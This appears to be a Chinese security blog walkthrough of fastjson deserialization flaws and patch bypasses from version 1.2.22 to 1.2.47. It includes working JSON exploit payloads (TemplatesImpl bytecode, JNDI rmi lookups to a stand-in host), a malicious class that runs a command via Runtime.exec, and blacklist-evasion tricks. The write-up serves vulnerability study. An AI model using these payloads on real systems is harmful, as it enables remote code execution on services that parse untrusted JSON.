fastjson反序列化

7

环境搭建

  • openjdk version "1.8.0_302"

  • marshalsec

  • 创建maven项目,之后方便修改版本

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.22</version>
        </dependency>

漏洞分析

反序列化过程

先写两个demo看看fastjson能干啥

//部分代码        
//序列化 SerializerFeature.WriteClassName -> @type
String js = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(js+line);
/*
getAge
getName
{"@type":"demo.User","age":18,"name":"b1ank"}
*/
//parse
Object obj2 = JSON.parse(js);
System.out.println(obj2.getClass().getName()+line);
/*
setAge
setName
demo.User
*/

//parseObject
Object obj3 = JSON.parseObject(js);
System.out.println(obj3.getClass().getName());
Object obj4 = JSON.parseObject(js,User.class);
System.out.println(obj4.getClass().getName());
/*
setAge
setName
getAge
getName
com.alibaba.fastjson.JSONObject
setAge
setName
demo.User
*/

可见,序列化的时候会执行getter方法

@type属性的情况下:

  • parse返回 User,并且会调用setter方法

  • parseObject返回 JSONObject,并且调用settergetter方法

TemplatesImp利用链

JSON.parseObject(payload,Feature.SupportNonPublicField);下断点,不断跟进可以发现是在对json字符串做一些解析,像{ ,"等符号

在到DefaultJSONParser.parseObject()时,发现解析出了@type

image-1699759360344

符合if条件就成功加载了实现构造好的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

image-1699759368527

再往下走就是对传入的类进行反序列化

image-1699759377371

跟进,在key="_bytecodes"并且路过了多个if判断之后,和parser一起被带入到了parseField

image-1699759384708

这里的“智能匹配”会将传入的key做一些处理,比如将开头的 _ 删除

key2 = key.replaceAll("_", "");

image-1699759392292

之后parser_bytecode等payload相关被带入parseField

image-1699759421165

跟进去可以看到base64解码的过程

image-1699759433702

恶意类在这里被取出并且带到了setValue当中,将value赋值到目的类当中

image-1699759444730

之后也会在setValue这里调用getOutputProperties

image-1699759453522

com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.javagetOutputProperties下个断点

return newTransformer().getOutputProperties();

贴一下poc

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["xxx"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

_name不为空就调用defineTransletClasses()

image-1699759469393

跟进,_tfactory不能为空

image-1699759478303

看到在加载_bytecode

image-1699759486299

判断是否继承自AbstractTranslet

image-1699759493465

之后就是实例化了

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

贴一下恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Temp extends AbstractTranslet {
    public Temp() throws IOException {
        Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        Temp t = new Temp();
    }
}

fastjson1.2.41

TypeUtils.loadClass变成checkAutoType,跟进发现黑名单其中包括com.sun

image-1699759503561

跟了几遍发现没开启AutoTypeSupport的情况下最后都会抛出异常

image-1699759525830

image-1699759533292

所以后面都设置开启

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

loadClass里对Lxxxxx;这种类名做一个掐头去尾,所以将类名改为Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;来 绕过黑名单

image-1699759544044

看到上面还有一个if,payload改成[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl试试

image-1699759553109

根据报错添加字符

image-1699759564568

再加,成功弹计算器,最终payload为

{"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_byte……

fastjson1.2.42

checkAutoType里面增加了个奇怪的掐头去尾,测试一下发现也是去掉L;

image-1699759588774

public class TestL {
    public static void main(String[] args) {
        String className = "Ljust test;";
        if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
            className = className.substring(1, className.length() - 1);
            System.out.println(className);
        }
    }
}

//just test

原来的明文黑名单变成了hash

image-1699759604335

所以用LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;来绕过

fastjson1.2.43

checkAutoType又加了个if,发现是判断LL开头

        for (int i=0;i<256;i++){
            for (int j=0;j<256;j++){
                if (((-3750763034362895579L ^ (long)i) * 1099511628211L ^ (long)j) * 1099511628211L == 655656408941810501L) {
                    System.out.println((char) i+" "+(char) j);

                }
            }
        }
				//output: L L

用带[的payload可绕过

fastjson1.2.45

这次变为判断是否为[ 或者L;开头

image-1699759615122

用不在黑名单里的类绕过

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

image-1699759622392

fastjson1.2.47

这次用java.lang.Class绕黑名单

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}

com.alibaba.fastjson.serializer.MiscCodec#deserialze当中会对传入的val做判断,所以进行loadClass。如果传入的为InetAddress等类的话,会对域名做解析(dnslog)

image-1699759629801

cache为True的时候放入mapping,可以看到默认为true,然后就是下一轮checkAutoType

image-1699759637976

image-1699759647490

进黑名单的ifyou两个条件,因为事先放进了mapping,所以不会抛出异常。并且会将恶意类赋给clazz,之后就是弹计算器了

image-1699759655571

……

Reference

fastjson 远程反序列化poc的构造和分析

Fastjson系列二——1-2-22-1-2-24反序列化漏洞

Fastjson系列三——历史版本补丁绕过